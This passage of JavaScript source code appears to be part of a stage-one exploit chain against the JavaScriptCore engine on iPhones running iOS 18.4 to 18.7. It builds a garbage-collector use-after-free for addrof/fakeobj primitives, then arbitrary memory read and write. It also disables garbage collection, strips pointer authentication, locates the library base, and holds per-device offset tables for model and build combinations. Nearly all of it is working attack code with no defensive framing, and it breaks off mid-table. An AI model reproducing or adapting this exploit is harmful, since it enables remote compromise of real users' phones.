,0x94065,0xa916a,0x4a929,0x19a90,0x24458,0x92196,0x84609,0x10a2,0x548a1,0xa9125,0x66160,0x2908,0x6925a,0x54129,0x4649,0x692a0,0x10419,0x98484,0x21692,0x99a14,0x2a166,0x5210a,0x64140,0x550a4,0x86664,0x9111,0x5254,0x80556,0x52644,0x64866,0xa948a,0x9024a,0x6850a,0x10141,0xa1808,0x86290,0x28900,0x10525,0x20159,0x85299,0x4a48a,0x58211,0x14642,0x10a11,0xa8164,0x2159,0x4a052,0x49528,0x2955,0x120a2,0x24084,0x69089,0x8115,0xa9a24,0xa8949,0xaa420,0x8a946,0x4a419,0x16526,0x5025,0xaa861,0xa5122,0x45869,0xa5284,0x92960,0x92001,0x54185,0xa6948,0x12186,0x25011,0xa9925,0x9942,0x84452,0xa26aa,0x55002,0x8aa42,0x40445,0x12551,0xaa856,0x425a0,0x1010a,0x54521,0x12291,0x8088a,0x50204,0x6aa52,0x15826,0x96501,0x80aa6,0x85a59,0xaa512,0x2a585,0xa9045,0x29924,0x86a81,0x81581,0x55090,0x48889,0xa2529,0x99525,0x89852,0x591aa,0x22a19,0x81864,0x68629,0x1aa98,0x91640,0x1840,0x58660,0xa8918,0x6925a,0x92654,0x5284a,0x9990,0x48524,0x51aa5,0x96948,0x52051,0x6458,0x26662,0x214a5,0x28809,0x4201a,0xa8258,0x6a256,0x1450,0x56a08,0xaa858,0x51a66,0x562a2,0x22592,0x4a010,0x554a5,0x90444,0x4809a,0x12a26,0x41aa9,0x51161,0x66a68,0x82984,0x1aa2,0x91aa8,0x46898,0x16066,0x25aa,0x116a,0x595a1,0x45454,0x25502,0x44946,0x99000,0x40928,0x9410a,0x4a821,0x5a29,0x6aa28,0x9059a,0x18a20,0x29aa8,0xa26a2,0x25082,0x81265,0x21544,0x29aa,0x96019,0x2501a,0x82981,0x28519,0x92490,0x69994,0x12445,0xa54a1,0x4a260,0x59060,0xaa20,0x68aaa,0x96591,0x94a25,0x69421,0x50158,0x86501,0x88441,0x96250,0x88aa,0x89565,0x55a6a,0x94044,0xa1a00,0x81082,0x92858,0x8a514,0x140,0x40181,0xa8580,0x98400,0x89951,0x18a01,0x6991,0x515a1,0x1a924,0x18485,0x5116,0x64565,0x4608a,0x8460a,0xa5629,0x81655,0x5514a,0x21a4,0x11191,0x1801,0x19129,0x50282,0x60155,0x160aa,0x9aa12,0x2961a,0x48108,0xa119a,0x55944,0x50004,0x9a0a8,0x29022,0xa55a4,0x29526,0x59818,0x95815,0x4a1a4,0x22598,0x1aa91,0x91252,0x6090a,0x46a65,0x109a4,0x95908,0x80421,0x66926,0x9056a,0x2149a,0x59aa,0x56659,0xa1181,0x95084,0x8244a,0x69551,0x42295,0x46418,0x26898,0x56242,0x8569,0x65956,0x9242a,0x60509,0xa0849,0x5a208,0x51564,0x91591,0x545a1,0x21826,0x1141,0x60a80,0x42819,0x95541,0x29542,0x4a469,0x85668,0xa2518,0x2144a,0x56991,0x2958,0x68141,0x566a6,0x96886,0x5a162,0x28014,0xa6a1,0x68945,0x52291,0x82215,0xa612,0x4aaa4,0x2a41,0x62286,0xa65a9,0x254a1,0x4089,0xa1425,0x40699,0x52294,0x1a581,0xa1a02,0x26199,0x41066,0x50822,0xa60a4,0x91181,0x682a9,0x1a94a,0x29448,0x922a5,0x21a09,0x912a5,0x10681,0xa0aa9,0x9062a,0x91409,0x4a005,0x580a8,0xa661,0x90404,0x41242,0x5226,0x85501,0xa6461,0xa56a1,0x81a10,0x81828,0x88251,0x962a4,0x61946,0x2984,0xa5152,0x91044,0x548a9,0x94556,0x44564,0x16424,0x24090,0x5521a,0x59549,0x510a8,0x241a4,0x4a54,0x6a6a2,0x489a0,0x82aa1,0x20919,0x8a5aa,0x48565,0x28485,0x51a26,0x95095,0x2102a,0x2a286,0x44418,0xa8894,0xaa542,0x15159,0x46964,0x59685,0x6a298,0x1252a,0x60a20,0x81491,0x99562,0x64616,0x60562,0x6010,0x6692a,0x1a2a9,0x44180,0x98198,0x60888,0x52916,0x6a658,0x26628,0x1a090,0x86554,0x2a12a,0x48548,0x58641,0x82594,0x9881a,0x9621a,0x4622a,0x568a,0xa9a5a,0x8919,0x1a621,0x818a5,0x5094a,0x9244,0x64486,0x84554,0x11046,0x5556,0x45aa4,0xa4929,0x24995,0x18280,0x56166,0x91286,0xa2988,0x58065,0x15050,0xa1988,0x11059,0x69186,0x89688,0x62411,0x56a18,0x8101,0x24909,0x11820,0x4a004,0xaa286,0x9590,0x95422,0x4490,0x96995,0x8858,0x19aa0,0x2a106,0x4a198,0x58a54,0x88956,0x4258a,0x46581,0x82108,0x8a580,0x1a412,0x50a02,0x54096,0xa6564,0x618a8,0x6a2a4,0x49928,0x2a440,0x28940,0xa2541,0x5a259,0x90184,0x24001,0x60500,0x58609,0x59054,0x25625,0x56949,0x90196,0x80059,0x1a094,0x42a69,0x48660,0x41a84,0x585a8,0x65054,0x2904a,0x88a15,0x51618,0x56506,0x86a9,0x2429,0xa6158,0x50816,0x4000a,0x416a6,0x286a6,0x51062,0xa0900,0x16844,0x59552,0x509aa,0x62998,0x11594,0x186a2,0x2a646,0x5866,0x4255a,0xa6622,0x61986,0x91544,0x91909,0x94441,0x9a119,0xa10aa,0x41215,0x5a125,0xa224,0x19416,0x400a,0x96990,0x80244,0x6a5aa,0xa5895,0x14564,0x8a504,0x2a44a,0x6a850,0x528a,0x64568,0x81921,0x11162,0x41249,0x18a44,0x80954,0x61501,0x48551,0x8aa09,0x48590,0x18566,0xa0882,0x5a144,0x98912,0x40404,0x65000,0xa058a,0x8459,0x106a9,0x22a01,0x94202,0x50062,0x55a88,0x890aa,0x56a11,0x65a84,0x90298,0x9a19,0x50984,0x20952,0xa5a20,0x98924,0x55698,0x9a642,0x69520,0x44114,0x888a1,0x10642,0x15516,0x21244,0x66806,0x159a4,0x12a44,0x60251,0x25959,0x6458,0x1a568,0xa1196,0x60498,0x46298,0x40482,0xa1905,0x85a95,0x46252,0x24942,0x5a26a,0x2188,0x189a1,0x6461a,0x80510,0x10a60,0x42419,0x4a568,0x16559,0x28902,0x1a119,0x88004,0x12025,0x92121,0xa410,0x15862,0x6859a,0x88999,0x8251,0x842a0,0xa1a54,0x12959,0x92019,0x46980,0x14658,0x196a9,0x11802]); + + let grbase = 30; + + function exp() { + let shallow_flat = new Array(new Array(false,false), new Array(false,false)); + function opt(flat) { + let oj = {a: 0,b: 0, 0: 13.37}; + let _a = {a: 0}; + let a = flat ? _a : 14.47; + for (let i=0; i < flat.length; i++) { + flat[i][2] = a; + } + _a.a = oj; + oj = 0; + return _a; + }; + + function prepare() { + for (let i=0; i<10000; i++) { + shallow_flat[0][0] = i; + shallow_flat[1][0] = i; + opt(shallow_flat); + } + } + + function build_tree(depth,isz) { + if (!depth) { + return {a:0}; + } + let leaf = new Array(3); + for (let i=0; i<3; i++) { + leaf[i] = build_tree(depth-1, (i==0) && isz); + } + return leaf; + } + + function flatten_tree(tree) { + let flattree = new Array(treetab.length); + for (let k in treetab) { + let path = treetab[k]; + let node = tree; + for (let i=0; i < 11; i++) { + node = node[(path >> (i*2)) & 0x3]; + } + flattree[k] = node; + } + tree[0][0][0][0][0][0][0][0][0][0][0][0][0] = flattree; // store far away from where GC can see it, otherwise it would shortcut depth-first search + } + + let rpl = new Array(4096); + let rpl2 = new Array(4096); + + function wipe_tree(tree) { + if (tree.a !== undefined) return; + if(!tree) return; + for (let i=2; i>=0; i--) { + let v = tree[i]; + tree[i] = 0; + wipe_tree(v); + } + } + + prepare(); + + function _gr(a) { + return new Uint8Array(2<<(grbase+a)); + for (let i of []) {} // noInline + } + + function gr(a) { + _gr(a); + } + + let pair = {contig: false, double: false}; + + let iit = 256; + let rootblock = new Array(iit); + let rootblock1 = new Array(iit); + let uaf = new Array(0); + function pwn(util, p) { + let did_find = false; + let tree = build_tree(12,3); + flatten_tree(tree); + for (let i = 0; i < 16; i++) { + rpl[i] = new Array(14.47,14.47,14.47,i); + } + gr(5); + + // now the GC is running and stack has been scanned already, so it's safe to fetch this + let flattree = tree[0][0][0][0][0][0][0][0][0][0][0][0][0]; + + for (let i = 0; i < iit; i++) { + uaf[i] = opt(flattree); + } + flattree.length = 0; + wipe_tree(tree); + gr(5); + gr(5); + for (let i = 0; i < iit*2; i++) { + rpl2[i] = new Array(14.47,14.47,14.47,i); + } + for (let i = 0; i < iit; i++) { + uaf[i] = uaf[i].a; + } + gr(5); + for (let i = 0; i < iit; i++) { + rpl[i] = {a:4242,b:i}; + } + let found = false; + for (let i = 0; i < iit; i++) { + if (!found && uaf[i][0] == 14.47) { + uaf[i][0] = 15.57; + for (let j=0; j util._f2i(p_rce.addrof(o)); + p_rce.fakeobj52 = (a) => p_rce.fakeobj(util._i2f(a)); + return; + } + } + } + uaf[i][0] = 0; + } + rpl.fill(0); + rpl2.fill(0); + gr(5); + throw new Error("failed exp"); + }; + return pwn; + } + + function _make_stage1(util, p_rce) { + let run = exp(); + + const N = 256; // tunable count (heap layout sensitive) + for (let i = 0; i < N; ++i) { + try { + run(util, p_rce); + print(`success with ${i+1} unit tries`); + return; + } catch (e) { + if (i === N - 1) print('exp last err: ' + e); + } + } + throw new TryAgainError(); + } + + return {_make_stage1}; + + })(); + + print("try aar/w"); + let rw_ok = false; + for (let rwTry = 0; rwTry < 24 && !rw_ok; rwTry++) { + try { + if (rwTry > 0) { + print(`_make_rw outer retry ${rwTry + 1}/24`); + util._dgc(25000); + } + await _make_rw(p_rce, () => _make_stage1(util, p_rce)); + rw_ok = true; + } catch (e) { + if (e instanceof TryAgainError) { + print('failed _make_rw ... retry'); + } else { + throw e; + } + } + } + if (!rw_ok) { + self.postMessage({ type: 'stage1_failed', reason: 'make_rw' }); + return p_rce; + } + try { + function setup_stage1_prim(p_rce) + { + print("inside stage1_prim"); + function addrof(object) { + return BigInt.fromDouble((p_rce.addrof(object))); + } + function fakeobj(addr) { + return p_rce.fakeobj(addr.asDouble()); + } + let junk0 = new Array(4).fill(1.1); + junk0[0] = 1.1; + junk0[1] = 1.1; + let scribble_element = new Array(4).fill(1.1); + scribble_element[0] = 1.1; + scribble_element[1] = 1.1; + let results = new Array(2).fill(1.1); + results[0] = 1.1; + results[1] = 1.1; + let change_scribble_holder = { p1: fakeobj(0x0108240700006000n), p2: scribble_element }; + let change_scribble = fakeobj(addrof(change_scribble_holder) + 0x10n); + for (let i = 0; i < 2; i++) { + let a = i == 0 ? change_scribble : junk0; + results[i] = a[0]; + } + change_scribble_holder.p1 = results[0]; //now we have a valid structureID + + scribble_element.p3 = 1.1; + scribble_element[0] = 1.1; + + let double_array_cell = BigInt.fromDouble(change_scribble[0]); + change_scribble_holder.p1 = fakeobj(double_array_cell); + const original_cell = change_scribble[0]; + + function write64(addr, value) { + change_scribble[0] = original_cell; + change_scribble[1] = (addr + 0x10n).asDouble(); + + if (value === 0n) { + scribble_element.p3 = 1; + delete scribble_element.p3; + } else if (value < 0x2000000000000n) { + scribble_element.p3 = fakeobj(value); + } else if (value <= 0x7ff2000000000000n || value >= 0x8002000000000000n && value <= 0xfff0000000000000n) { + scribble_element.p3 = value.sub(0x2000000000000n).asDouble(); + } else { + let off_addr = addr.add(8n); + let off_val = read64(off_addr); + let [hi, lo] = value.asInt32s(); + + scribble_element.p3 = hi; + change_scribble[1] = (addr + 0x14n).asDouble(); + scribble_element.p3 = lo; + + write64(off_addr, off_val); + } + } + + let read64_biguint64arr = new BigUint64Array(4); + change_scribble[1] = addrof(read64_biguint64arr).add(8n).asDouble(); + let read64_float64arr_bytes = BigInt.fromDouble(scribble_element[1]); + read64_biguint64arr[0] = 0x10000000006n; + read64_biguint64arr[1] = read64_float64arr_bytes.add(0x10n); + let read64_str = '\u4444'.repeat(0x10); + [][read64_str]; + change_scribble[1] = addrof(read64_str).add(8n).asDouble(); + scribble_element[0] = read64_float64arr_bytes.asDouble(); + + function read64(addr) { + read64_biguint64arr[1] = addr; + return (BigInt(read64_str.charCodeAt(0)) + | BigInt(read64_str.charCodeAt(1)) << 16n + | BigInt(read64_str.charCodeAt(2)) << 32n + | BigInt(read64_str.charCodeAt(3)) << 48n); + } + + function read32(addr) { + read64_biguint64arr[1] = addr; + + return (BigInt(read64_str.charCodeAt(0)) + | BigInt(read64_str.charCodeAt(1)) << 16n); + } + print("after setting up prims"); + // Disable Worklet GC + const vm = read64(read64(addrof(globalThis).add(0x10n)).add(0x38n)); + const heap = vm.add(0xc0n); + const isSafeToCollect = heap.add(0x241n); + function write8(ptr, u16) { + let value = read64(ptr); + value &= ~0xffn; + value |= u16; + write64(ptr, value); + }; + write8(isSafeToCollect, 0n); + print("after gc disable"); + const executable = read64(addrof(parseFloat) + 0x18n); + globalFuncParseFloat = read64(executable + 0x28n).noPAC(); + const jsc_base = (function() { + let jsc_base = globalFuncParseFloat & ~0xfffn; + + while (1) { + read64_biguint64arr[1] = jsc_base; + if (read64_str.charCodeAt(0) == 0xfacf && read64_str.charCodeAt(1) == 0xfeed) { + return jsc_base; + } + jsc_base -= 0x1000n; + } + })(); + print("jsc_base now: " + jsc_base.hex()); + function parse_adrp(addr) { + const x = Number(read32(addr)); + const immhi = x >> 5 & (1 << 23 - 5 + 1) - 1; + const immlo = x >> 29 & 3; + const imm = immhi << 14 | immlo << 12; + return imm + Math.floor(Number(addr) / 0x1000) * 0x1000; + } + function parse_add(addr) { + const insn = Number(read32(addr)); + const off = insn >> 10 & (1 << 12) - 1; + return off; + } + function parse_adrp_add(addr, is_ldrb = false) { + let res = parse_adrp(addr); + let add = parse_add(addr + 4n); + return res + add; + } + const versions = ['b8', '731', 'b9']; +const pthread_create_auth_stubs_offset = { +'18,4': 0x177d640n, +'18,4,1': 0x177d640n, +'18,5': 0x18ccf30n, +'18,6': 0x17a4830n, +'18,6,1': 0x17a4830n, +'18,6,2': 0x17a4830n, +'18,6,3': 0x17a4830n, +'18,7': 0x17a4830n, +'18,7,1': 0x17a4830n, +'18,7,2': 0x17a4830n +}; +const pthread_create_offset = { +'18,4': 0x5864n, +'18,4,1': 0x5864n, +'18,5': 0x6988n, +'18,6': 0x6988n, +'18,6,1': 0x6988n, +'18,6,2': 0x6988n, +'18,6,3': 0x6988n, +'18,7': 0x6988n, +'18,7,1': 0x6988n, +'18,7,2': 0x6988n +}; +const linkedit_to_device = { +'18,4': { + [0x27075c000n]: "iPhone11,2_4_6_22E240", + [0x27074c000n]: "iPhone11,8_22E240", + [0x27085c000n]: "iPhone12,1_22E240", + [0x27085c000n]: "iPhone12,3_5_22E240", + [0x270794000n]: "iPhone12,8_22E240", + [0x270ad0000n]: "iPhone13,1_22E240", + [0x2714f8000n]: "iPhone13,2_3_22E240", + [0x2714f8000n]: "iPhone13,4_22E240", + [0x2718dc000n]: "iPhone14,2_22E240", + [0x2718dc000n]: "iPhone14,3_22E240", + [0x270ea4000n]: "iPhone14,4_22E240", + [0x270ea4000n]: "iPhone14,5_22E240", + [0x270e50000n]: "iPhone14,6_22E240", + [0x2712b4000n]: "iPhone14,7_22E240", + [0x2712b4000n]: "iPhone14,8_22E240", + [0x272058000n]: "iPhone15,2_22E240", + [0x272058000n]: "iPhone15,3_22E240", + [0x271680000n]: "iPhone15,4_22E240", + [0x271680000n]: "iPhone15,5_22E240", + [0x272594000n]: "iPhone16,1_22E240", + [0x272594000n]: "iPhone16,2_22E240", + [0x271e5c000n]: "iPhone17,1_22E240", + [0x271e5c000n]: "iPhone17,2_22E240", + [0x2717f0000n]: "iPhone17,3_22E240", + [0x2717f0000n]: "iPhone17,4_22E240", + [0x271530000n]: "iPhone17,5_22E240" +}, +'18,4,1': { + [0x27075c000n]: "iPhone11,2_4_6_22E252", + [0x27074c000n]: "iPhone11,8_22E252", + [0x27085c000n]: "iPhone12,1_22E252", + [0x27085c000n]: "iPhone12,3_5_22E252", + [0x270790000n]: "iPhone12,8_22E252", + [0x270ad0000n]: "iPhone13,1_22E252", + [0x2714f8000n]: "iPhone13,2_3_22E252", + [0x2714f8000n]: "iPhone13,4_22E252", + [0x2718dc000n]: "iPhone14,2_22E252", + [0x2718dc000n]: "iPhone14,3_22E252", + [0x270ea4000n]: "iPhone14,4_22E252", + [0x270ea4000n]: "iPhone14,5_22E252", + [0x270e50000n]: "iPhone14,6_22E252", + [0x2712b4000n]: "iPhone14,7_22E252", + [0x2712b4000n]: "iPhone14,8_22E252", + [0x272058000n]: "iPhone15,2_22E252", + [0x272058000n]: "iPhone15,3_22E252", + [0x271680000n]: "iPhone15,4_22E252", + [0x271680000n]: "iPhone15,5_22E252", + [0x272594000n]: "iPhone16,1_22E252", + [0x272594000n]: "iPhone16,2_22E252", + [0x271e5c000n]: "iPhone17,1_22E252", + [0x271e5c000n]: "iPhone17,2_22E252", + [0x2717f0000n]: "iPhone17,3_22E252", + [0x2717f0000n]: "iPhone17,4_22E252", + [0x271530000n]: "iPhone17,5_22E252" +}, +'18,5': { + [0x27170c000n]: "iPhone11,2_4_6_22F76", + [0x271704000n]: "iPhone11,8_22F76", + [0x271810000n]: "iPhone12,1_22F76", + [0x271810000n]: "iPhone12,3_5_22F76", + [0x27173c000n]: "iPhone12,8_22F76", + [0x271a88000n]: "iPhone13,1_22F76", + [0x2724b4000n]: "iPhone13,2_3_22F76", + [0x2724b4000n]: "iPhone13,4_22F76", + [0x27288c000n]: "iPhone14,2_22F76", + [0x27288c000n]: "iPhone14,3_22F76", + [0x271e5c000n]: "iPhone14,4_22F76", + [0x271e5c000n]: "iPhone14,5_22F76", + [0x271df8000n]: "iPhone14,6_22F76", + [0x272264000n]: "iPhone14,7_22F76", + [0x272264000n]: "iPhone14,8_22F76", + [0x273014000n]: "iPhone15,2_22F76", + [0x273014000n]: "iPhone15,3_22F76", + [0x272634000n]: "iPhone15,4_22F76", + [0x272634000n]: "iPhone15,5_22F76", + [0x27353c000n]: "iPhone16,1_22F76", + [0x27353c000n]: "iPhone16,2_22F76", + [0x272e04000n]: "iPhone17,1_22F76", + [0x272e04000n]: "iPhone17,2_22F76", + [0x2727a0000n]: "iPhone17,3_22F76", + [0x2727a0000n]: "iPhone17,4_22F76", + [0x2724d8000n]: "iPhone17,5_22F76" +}, +'18,6': { + [0x270ffc000n]: "iPhone11,2_4_6_22G86", + [0x270ff0000n]: "iPhone11,8_22G86", + [0x2710fc000n]: "iPhone12,1_22G86", + [0x2710fc000n]: "iPhone12,3_5_22G86", + [0x27103c000n]: "iPhone12,8_22G86", + [0x271378000n]: "iPhone13,1_22G86", + [0x271da8000n]: "iPhone13,2_3_22G86", + [0x271da8000n]: "iPhone13,4_22G86", + [0x272178000n]: "iPhone14,2_22G86", + [0x272178000n]: "iPhone14,3_22G86", + [0x27174c000n]: "iPhone14,4_22G86", + [0x27174c000n]: "iPhone14,5_22G86", + [0x2716f4000n]: "iPhone14,6_22G86", + [0x271b54000n]: "iPhone14,7_22G86", + [0x271b54000n]: "iPhone14,8_22G86", + [0x272904000n]: "iPhone15,2_22G86", + [0x272904000n]: "iPhone15,3_22G86", + [0x271f24000n]: "iPhone15,4_22G86", + [0x271f24000n]: "iPhone15,5_22G86", + [0x272e34000n]: "iPhone16,1_22G86", + [0x272e34000n]: "iPhone16,2_22G86", + [0x2726f4000n]: "iPhone17,1_22G86", + [0x2726f4000n]: "iPhone17,2_22G86", + [0x272084000n]: "iPhone17,3_22G86", + [0x272084000n]: "iPhone17,4_22G86", + [0x271dcc000n]: "iPhone17,5_22G86", + [0x27101c000n]: "iPhone11,2_4_6_22G100", + [0x27101c000n]: "iPhone11,2_4_6_22G90", + [0x271004000n]: "iPhone11,8_22G100", + [0x271004000n]: "iPhone11,8_22G90", + [0x271118000n]: "iPhone12,1_22G100", + [0x271118000n]: "iPhone12,3_5_22G100", + [0x271118000n]: "iPhone12,3_5_22G90", + [0x271050000n]: "iPhone12,8_22G100", + [0x271050000n]: "iPhone12,8_22G90", + [0x27138c000n]: "iPhone13,1_22G100", + [0x27138c000n]: "iPhone13,1_22G90", + [0x271dbc000n]: "iPhone13,2_3_22G100", + [0x271dbc000n]: "iPhone13,4_22G100", + [0x271dbc000n]: "iPhone13,4_22G90", + [0x27218c000n]: "iPhone14,2_22G100", + [0x27218c000n]: "iPhone14,3_22G100", + [0x27218c000n]: "iPhone14,3_22G90", + [0x271760000n]: "iPhone14,4_22G100", + [0x271760000n]: "iPhone14,5_22G100", + [0x271760000n]: "iPhone14,5_22G90", + [0x271708000n]: "iPhone14,6_22G100", + [0x271708000n]: "iPhone14,6_22G90", + [0x271b6c000n]: "iPhone14,7_22G100", + [0x271b6c000n]: "iPhone14,8_22G100", + [0x271b6c000n]: "iPhone14,8_22G90", + [0x272914000n]: "iPhone15,2_22G100", + [0x272914000n]: "iPhone15,3_22G100", + [0x272914000n]: "iPhone15,3_22G90", + [0x271f38000n]: "iPhone15,4_22G100", + [0x271f38000n]: "iPhone15,5_22G100", + [0x271f38000n]: "iPhone15,5_22G90", + [0x272e4c000n]: "iPhone16,1_22G100", + [0x272e4c000n]: "iPhone16,2_22G100", + [0x272e4c000n]: "iPhone16,2_22G90", + [0x27270c000n]: "iPhone17,1_22G100", + [0x27270c000n]: "iPhone17,2_22G100", + [0x27270c000n]: "iPhone17,2_22G90", + [0x2720a4000n]: "iPhone17,3_22G100", + [0x2720a4000n]: "iPhone17,4_22G100", + [0x2720a4000n]: "iPhone17,4_22G90", + [0x271de4000n]: "iPhone17,5_22G100", + [0x271de4000n]: "iPhone17,5_22G90", +}, +'18,6,1': { + [0x270ffc000n]: "iPhone11,2_4_6_22G86", + [0x270ff0000n]: "iPhone11,8_22G86", + [0x2710fc000n]: "iPhone12,1_22G86", + [0x2710fc000n]: "iPhone12,3_5_22G86", + [0x27103c000n]: "iPhone12,8_22G86", + [0x271378000n]: "iPhone13,1_22G86", + [0x271da8000n]: "iPhone13,2_3_22G86", + [0x271da8000n]: "iPhone13,4_22G86", + [0x272178000n]: "iPhone14,2_22G86", + [0x272178000n]: "iPhone14,3_22G86", + [0x27174c000n]: "iPhone14,4_22G86", + [0x27174c000n]: "iPhone14,5_22G86", + [0x2716f4000n]: "iPhone14,6_22G86", + [0x271b54000n]: "iPhone14,7_22G86", + [0x271b54000n]: "iPhone14,8_22G86", + [0x272904000n]: "iPhone15,2_22G86", + [0x272904000n]: "iPhone15,3_22G86", + [0x271f24000n]: "iPhone15,4_22G86", + [0x271f24000n]: "iPhone15,5_22G86", + [0x272e34000n]: "iPhone16,1_22G86", + [0x272e34000n]: "iPhone16,2_22G86", + [0x2726f4000n]: "iPhone17,1_22G86", + [0x2726f4000n]: "iPhone17,2_22G86", + [0x272084000n]: "iPhone17,3_22G86", + [0x272084000n]: "iPhone17,4_22G86", + [0x271dcc000n]: "iPhone17,5_22G86", +}, +'18,6,2': { + [0x270ffc000n]: "iPhone11,2_4_6_22G86", + [0x270ff0000n]: "iPhone11,8_22G86", + [0x2710fc000n]: "iPhone12,1_22G86", + [0x2710fc000n]: "iPhone12,3_5_22G86", + [0x27103c000n]: "iPhone12,8_22G86", + [0x271378000n]: "iPhone13,1_22G86", + [0x271da8000n]: "iPhone13,2_3_22G86", + [0x271da8000n]: "iPhone13,4_22G86", + [0x272178000n]: "iPhone14,2_22G86", + [0x272178000n]: "iPhone14,3_22G86", + [0x27174c000n]: "iPhone14,4_22G86", + [0x27174c000n]: "iPhone14,5_22G86", + [0x2716f4000n]: "iPhone14,6_22G86", + [0x271b54000n]: "iPhone14,7_22G86", + [0x271b54000n]: "iPhone14,8_22G86", + [0x272904000n]: "iPhone15,2_22G86", + [0x272904000n]: "iPhone15,3_22G86", + [0x271f24000n]: "iPhone15,4_22G86", + [0x271f24000n]: "iPhone15,5_22G86", + [0x272e34000n]: "iPhone16,1_22G86", + [0x272e34000n]: "iPhone16,2_22G86", + [0x2726f4000n]: "iPhone17,1_22G86", + [0x2726f4000n]: "iPhone17,2_22G86", + [0x272084000n]: "iPhone17,3_22G86", + [0x272084000n]: "iPhone17,4_22G86", + [0x271dcc000n]: "iPhone17,5_22G86", + // 22G89 derived from 22G86 + [0x270ffc000n]: "iPhone11,2_4_6_22G89", + [0x270ff0000n]: "iPhone11,8_22G89", + [0x2710fc000n]: "iPhone12,1_22G89", + [0x2710fc000n]: "iPhone12,3_5_22G89", + [0x27103c000n]: "iPhone12,8_22G89", + [0x271378000n]: "iPhone13,1_22G89", + [0x271da8000n]: "iPhone13,2_3_22G89", + [0x271da8000n]: "iPhone13,4_22G89", + [0x272178000n]: "iPhone14,2_22G89", + [0x272178000n]: "iPhone14,3_22G89", + [0x27174c000n]: "iPhone14,4_22G89", + [0x27174c000n]: "iPhone14,5_22G89", + [0x2716f4000n]: "iPhone14,6_22G89", + [0x271b54000n]: "iPhone14,7_22G89", + [0x271b54000n]: "iPhone14,8_22G89", + [0x272904000n]: "iPhone15,2_22G89", + [0x272904000n]: "iPhone15,3_22G89", + [0x271f24000n]: "iPhone15,4_22G89", + [0x271f24000n]: "iPhone15,5_22G89", + [0x272e34000n]: "iPhone16,1_22G89", + [0x272e34000n]: "iPhone16,2_22G89", + [0x2726f4000n]: "iPhone17,1_22G89", + [0x2726f4000n]: "iPhone17,2_22G89", + [0x272084000n]: "iPhone17,3_22G89", + [0x272084000n]: "iPhone17,4_22G89", + [0x271dcc000n]: "iPhone17,5_22G89", + [0x270ffc000n]: "iPhone11,2_4_6_22G89", + [0x270ff0000n]: "iPhone11,8_22G89", + [0x2710fc000n]: "iPhone12,1_22G89", + [0x2710fc000n]: "iPhone12,3_5_22G89", + [0x27103c000n]: "iPhone12,8_22G89", + [0x271378000n]: "iPhone13,1_22G89", + [0x271da8000n]: "iPhone13,2_3_22G89", + [0x271da8000n]: "iPhone13,4_22G89", + [0x272178000n]: "iPhone14,2_22G89", + [0x272178000n]: "iPhone14,3_22G89", + [0x27174c000n]: "iPhone14,4_22G89", + [0x27174c000n]: "iPhone14,5_22G89", + [0x2716f4000n]: "iPhone14,6_22G89", + [0x271b54000n]: "iPhone14,7_22G89", + [0x271b54000n]: "iPhone14,8_22G89", + [0x272904000n]: "iPhone15,2_22G89", + [0x272904000n]: "iPhone15,3_22G89", + [0x271f24000n]: "iPhone15,4_22G89", + [0x271f24000n]: "iPhone15,5_22G89", + [0x272e34000n]: "iPhone16,1_22G89", + [0x272e34000n]: "iPhone16,2_22G89", + [0x2726f4000n]: "iPhone17,1_22G89", + [0x2726f4000n]: "iPhone17,2_22G89", + [0x272084000n]: "iPhone17,3_22G89", + [0x272084000n]: "iPhone17,4_22G89", + [0x271dcc000n]: "iPhone17,5_22G89", + [0x270ffc000n]: "iPhone11,2_4_6_22G89", + [0x270ff0000n]: "iPhone11,8_22G89", + [0x2710fc000n]: "iPhone12,1_22G89", + [0x2710fc000n]: "iPhone12,3_5_22G89", + [0x27103c000n]: "iPhone12,8_22G89", + [0x271378000n]: "iPhone13,1_22G89", + [0x271da8000n]: "iPhone13,2_3_22G89", + [0x271da8000n]: "iPhone13,4_22G89", + [0x272178000n]: "iPhone14,2_22G89", + [0x272178000n]: "iPhone14,3_22G89", + [0x27174c000n]: "iPhone14,4_22G89", + [0x27174c000n]: "iPhone14,5_22G89", + [0x2716f4000n]: "iPhone14,6_22G89", + [0x271b54000n]: "iPhone14,7_22G89", + [0x271b54000n]: "iPhone14,8_22G89", + [0x272904000n]: "iPhone15,2_22G89", + [0x272904000n]: "iPhone15,3_22G89", + [0x271f24000n]: "iPhone15,4_22G89", + [0x271f24000n]: "iPhone15,5_22G89", + [0x272e34000n]: "iPhone16,1_22G89", + [0x272e34000n]: "iPhone16,2_22G89", + [0x2726f4000n]: "iPhone17,1_22G89", + [0x2726f4000n]: "iPhone17,2_22G89", + [0x272084000n]: "iPhone17,3_22G89", + [0x272084000n]: "iPhone17,4_22G89", + [0x271dcc000n]: "iPhone17,5_22G89", +} +}; +(function _aliasLinkeditKeys() { + const pairs = [['18,6,3', '18,6,2']]; + for (const [dst, src] of pairs) { + if (!linkedit_to_device[dst] && linkedit_to_device[src]) + linkedit_to_device[dst] = linkedit_to_device[src]; + } +})(); +const device_chipset = { +"iPhone11,2_4_6_22E240": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22E240": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22E240": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22E240": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,2_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,3_22E240": 